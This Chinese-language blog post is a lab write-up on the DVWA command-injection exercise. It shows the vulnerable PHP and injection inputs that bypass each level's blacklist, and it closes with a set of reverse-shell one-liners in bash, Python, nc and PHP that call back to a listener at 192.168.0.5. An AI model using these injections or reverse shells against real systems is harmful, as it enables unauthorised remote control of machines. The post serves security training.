命令执行以及反弹shell姿势

还是DVWA靶机的Command Injection

功能是在本地使用shell_exec执行ping命令

Low

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 

输入没有任何过滤,直接执行输入,这里要了解下命令链接符参考

&& :前一个指令执行成功,后面的指令才继续执行,就像进行与操作一样

|| :前一个命令执行失败,后面的才继续执行,类似于或操作

& :直接连接多个命令

| :管道符,将前一个命令的输出作为下一个命令的输入

; :直接连接多个命令

我们尝试如下输入

127.0.0.1;ls

确实执行了我们的ls命令

Medium

这里只贴添加的代码

  $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

添加了特定字符过滤,但是没过滤完整,也还是可以执行命令

如下命令都是可以执行的

127.0.0.1&ls
127.0.0.A|ls
127.0.0.A||ls

High

 $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '| ' => '',  # | 后面多了个空格,导致|没被过滤
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

漏洞见注释

可以使用127.0.0.A|ls命令执行

反弹shell

这里我也记录一下反弹shell
参考

linux文件描述符

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

  • 0 - stdin 代表标准输入,使用<或<<
  • 1 - stdout 代表标准输出,使用>或>>
  • 2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
  • 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

反弹shell

开始之前都在本机开启一个监听,nc -lnvp 8848

注意:如果是对外网进行渗透,建议使用自己的服务器接收shell。否者可能会因为网关的nat导致连不上

linux机制版本

bash -i >& /dev/tcp/192.168.0.5/8848 0>&1

python 版本

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.5',8848));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc 版本

需要被攻击机安装nc,一般其他shell都不行可以试试这个,最后搏一搏。

nc -e /bin/bash 192.168.0.5 8848

php 版本

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.5/8848")'

php -r '$sock=fsockopen("192.168.0.5",8848);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

这里的3是代表之前创建的sock的文件描述符。



CTF  

DVWA php linux 反弹shell

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!